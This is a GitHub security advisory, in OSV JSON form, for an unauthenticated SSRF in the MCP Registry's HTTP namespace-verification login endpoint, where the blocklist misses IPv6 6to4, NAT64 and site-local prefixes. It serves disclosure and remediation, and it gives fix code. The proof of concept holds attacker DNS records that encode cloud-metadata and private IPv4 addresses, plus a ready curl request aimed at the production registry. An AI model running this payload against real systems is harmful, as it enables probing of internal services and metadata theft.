CVE-2026-44430: Github.com/modelcontextprotocol/registry HTTP Namespace Verification Dials 6to4 Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r48c-v28r-pf6v",
  "modified" : "2026-05-15T23:46:20Z",
  "published" : "2026-05-08T17:20:56Z",
  "aliases" : [ "CVE-2026-44430" ],
  "summary" : "MCP Registry has an unauthenticated SSRF: HTTP namespace verification dials 6to4 / NAT64 / site-local IPv6 addresses, bypassing private-address allowlist",
  "details" : "### Summary\n\nThe Registry's HTTP-based namespace verification (`POST /v0/auth/http`, `POST /v0.1/auth/http`) uses `safeDialContext` (`internal/api/handlers/v0/auth/http.go:67-110`) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (`isBlockedIP`, lines 125-133) relies entirely on Go stdlib's `IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified` plus a manual CGNAT range. **None of these cover IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48` per RFC 8215), or deprecated site-local (`fec0::/10`)** — all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts.\n\nThis is the same CWE-918 SSRF class fixed in **GHSA-56c3-vfp2-5qqj** on `czlonkowski/n8n-mcp` (CVSS 8.5 HIGH). The remediation pattern is identical: extend the blocklist with the IPv6 prefix families that embed IPv4.\n\nThe endpoint is **unauthenticated** — it is the login flow itself — so attack complexity is low aside from the host-level routing dependency.\n\nAffected: latest `main` HEAD `23f4fda` and current production `v1.7.6` deployment at `https://registry.modelcontextprotocol.io/v0/auth/http`.\n\n### Details\n\n#### Vulnerable code\n\n`internal/api/handlers/v0/auth/http.go:125-133`:\n\n```go\nfunc isBlockedIP(ip net.IP) bool {\n    if ip == nil {\n        return true\n    }\n    return ip.IsLoopback() || ip.IsPrivate() ||\n        ip.IsLinkLocalUnicast() || ip.IsMulticast() ||\n        ip.IsUnspecified() ||\n        cgnatRange.Contains(ip)\n}\n```\n\nPer Go source (`src/net/ip.go`), the relevant stdlib helpers cover:\n\n| Helper | IPv6 coverage |\n|---|---|\n| `IsLoopback` | `::1`, IPv4-mapped of 127/8 (via `To4()` fast-path) |\n| `IsPrivate` | ULA `fc00::/7` only — `ip[0]&0xfe == 0xfc` |\n| `IsLinkLocalUnicast` | `fe80::/10` only — `ip[1]&0xc0 == 0x80` (NOT `fec0::/10` which is `0xc0`) |\n| `IsMulticast` | `ff00::/8` |\n| `IsUnspecified` | `::` |\n\nThe Registry's blocklist therefore **does not** cover:\n\n| Prefix | Defined in | Why dangerous |\n|---|---|---|\n| `2002::/16` | RFC 3056 (6to4) | Bits 16-47 embed an arbitrary IPv4 address. `2002:a9fe:a9fe::` is the 6to4 encoding of `169.254.169.254` (AWS / Azure metadata). `2002:0a00:0001::` encodes `10.0.0.1`. On hosts with 6to4 routing or any explicit `2002::/16` route, the dial reaches the embedded IPv4. |\n| `64:ff9b::/96` | RFC 6052 (NAT64 well-known prefix) | Low 32 bits embed an IPv4 address. `64:ff9b::a9fe:a9fe` translates to `169.254.169.254` on any NAT64-enabled network — which is the **default** in IPv6-only GKE node pools, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64, and DNS64/NAT64 corporate networks. |\n| `64:ff9b:1::/48` | RFC 8215 (local-use NAT64) | Same tunnelling concern, intended for operator-defined NAT64. |\n| `fec0::/10` | RFC 3879 (deprecated site-local) | Some BSD / older Linux stacks still honour these for routing into site-local internal networks. |\n\n`safeDialContext` resolves DNS once and dials by IP (good — pins against rebinding TOCTOU), but the IP-allowlist gate is the security boundary, and that gate is incomplete.\n\n#### Exposure surface\n\n`POST /v0/auth/http` (and `POST /v0.1/auth/http`) is registered in `internal/api/handlers/v0/auth/http.go:197-218` and routed unauthenticated in `internal/api/router/v0.go:24,39`:\n\n```go\nhuma.Register(api, huma.Operation{\n    OperationID: \"exchange-http-token...\",\n    Method:      http.MethodPost,\n    Path:        pathPrefix + \"/auth/http\",\n    Summary:     \"Exchange HTTP signature for Registry JWT\",\n    ...\n}, func(ctx context.Context, input *HTTPTokenExchangeInput) (...) {\n    response, err := handler.ExchangeToken(ctx, input.Body.Domain, ...)\n    ...\n})\n```\n\nThe handler builds `https://<attacker-domain>/.well-known/mcp-registry-auth` (line 143) and dials via the `safeDialContext`-equipped client. The `domain` parameter is taken verbatim from the unauthenticated POST body.\n\nCritical order-of-operations confirmation in `CoreAuthHandler.ExchangeToken` (`internal/api/handlers/v0/auth/common.go:246-265`):\n\n1. `ValidateDomainAndTimestamp(domain, timestamp)` — domain format check (no IP literal, must contain dot)\n2. `DecodeAndValidateSignature(signedTimestamp)` — hex decode\n3. **`keyFetcher(ctx, domain)`** ← SSRF dial happens here\n4. `VerifySignatureWithKeys(...)` ← only AFTER fetch\n\nSo the SSRF dial fires before any signature verification. Attacker needs only a valid RFC3339 timestamp (±15s window) and any hex string for `signedTimestamp`.\n\n### PoC\n\nTested against `main` HEAD `23f4fda` (`make dev-compose` boots Registry on `localhost:8080`).\n\n#### Step 1 — Set up attacker DNS\n\nConfigure `attacker.example` with the AAAA records:\n\n```\nattacker-6to4.example.       AAAA  2002:a9fe:a9fe::         ; 6to4 -> 169.254.169.254\nattacker-nat64.example.      AAAA  64:ff9b::a9fe:a9fe       ; NAT64 -> 169.254.169.254\nattacker-rfc1918.example.    AAAA  64:ff9b::a00:0001        ; NAT64 -> 10.0.0.1\n```\n\n(Equivalent free options: a domain on Cloudflare with manual AAAA, or a `requestbin`-style service with custom DNS.)\n\n#### Step 2 — Trigger the dial (no credentials required)\n\n```bash\ncurl -i https://registry.modelcontextprotocol.io/v0/auth/http \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\\\"domain\\\":\\\"attacker-nat64.example\\\",\\\"timestamp\\\":\\\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\\\",\\\"signedTimestamp\\\":\\\"00\\\"}\"\n```\n\nTimestamp need only be within ±15s of server clock. `signedTimestamp` is any hex string — it is decoded but only verified AFTER `FetchKey` has already dialled.\n\n#### Step 3 — Observe\n\nOn a NAT64-enabled host (default in IPv6-only GKE / AWS IPv6 nodes / Cloudflare WARP), the server-side dial reaches `169.254.169.254:443`. Tcpdump on the registry host confirms the outbound TLS handshake to the embedded IPv4. Where 169.254.169.254 listens on a TLS port (most cloud metadata services do not, but kube-apiserver, internal admin panels, and bespoke IPv4 services do), the connection completes and the response (limited to 4 KiB by `MaxKeyResponseSize`) is consumed as a key candidate.\n\nFor hosts without 6to4 / NAT64 routing, the dial fails with `no route to host` rather than `refusing to connect to private or loopback address` — proving the gate did not block. The differential error message provides a blind-SSRF oracle for probing internal services for existence / TLS port reachability.\n\n#### Expected behaviour after fix\n\n`isBlockedIP` should return `true` for any IPv6 address in the prefix families listed above, mirroring the n8n-mcp `isPrivateOrMappedIpv6` helper (GHSA-56c3-vfp2-5qqj patch). Reference implementation:\n\n```go\nfunc isBlockedIPv6Prefix(ip net.IP) bool {\n    v6 := ip.To16()\n    if v6 == nil || ip.To4() != nil {\n        return false\n    }\n    // 6to4 (2002::/16)\n    if v6[0] == 0x20 && v6[1] == 0x02 {\n        return true\n    }\n    // NAT64 well-known 64:ff9b::/96\n    if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&\n       v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 {\n        return true\n    }\n    // NAT64 RFC 8215 local-use 64:ff9b:1::/48\n    if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&\n       v6[4] == 0x00 && v6[5] == 0x01 {\n        return true\n    }\n    // Site-local fec0::/10 (deprecated, RFC 3879 -- still honoured by some stacks)\n    if v6[0] == 0xfe && (v6[1]&0xc0) == 0xc0 {\n        return true\n    }\n    return false\n}\n```\n\nThen extend the call site:\n\n```go\nreturn ip.IsLoopback() || ip.IsPrivate() ||\n    ip.IsLinkLocalUnicast() || ip.IsMulticast() ||\n    ip.IsUnspecified() ||\n    cgnatRange.Contains(ip) ||\n    isBlockedIPv6Prefix(ip)\n```\n\nA regression test fixture should set up a stub resolver returning each of the four prefix families and assert that `safeDialContext` returns the \"private/loopback\" error before any dial.\n\n### Impact\n\nCWE: **CWE-918** Server-Side Request Forgery (consistent with parent precedent GHSA-56c3-vfp2-5qqj).\n\nCVSS:3.1: matching the n8n-mcp precedent (`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` ~= **8.5 HIGH**). AC = High because exploitation depends on the registry host having NAT64 or 6to4 routing — the **default** on IPv6-only and dual-stack cloud network plans (GKE IPv6, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64) but not on plain-IPv4 deployments. Privileges = None (the endpoint is the login flow itself).\n\nFor the official `https://registry.modelcontextprotocol.io` deployment specifically, this lets an unauthenticated attacker reach any IPv4 address that is routable from the registry's outbound interface — including AWS / GCP / Azure metadata services if hosted on a cloud VM with metadata enabled, internal Kubernetes API servers, internal admin panels, etc. The 4 KiB response cap (`MaxKeyResponseSize`) limits exfiltrated content per request but does not prevent fingerprinting / oracle attacks (status-code differential, response-length differential).\n\nSelf-hosters running the registry on dual-stack / IPv6-only infrastructure are equally exposed.\n\n### Why this slipped past PR #1227\n\nThe April 29 hardening batch (commit `1201cbd`, \"security: fix open redirect and add small hardening\") explicitly added `safeDialContext` to block \"loopback, RFC1918, link-local, multicast, CGNAT, or IP-literal/single-label\" addresses. The author correctly identified the IPv4 attack surface and the link-local cloud-metadata vector, but composed the blocklist from Go's per-class stdlib helpers — which collectively miss the IPv6 prefix families that *embed* IPv4. The same gap was caught and fixed in n8n-mcp (GHSA-56c3-vfp2-5qqj). No commits in `git log --since=2026-03-01 internal/api/handlers/v0/auth/http.go` reference 6to4 / NAT64 / site-local.\n\n### Credit\n\nReported by **Matteo Panzeri** (GitHub: **matte1782**).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/modelcontextprotocol/registry"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.7.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-r48c-v28r-pf6v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44430"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/registry/pull/1250"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/registry/commit/f5f40bd98084466eaf18fe48ea62a0d534caa774"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/modelcontextprotocol/registry"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T17:20:56Z",
    "nvd_published_at" : "2026-05-14T21:16:46Z"
  }
}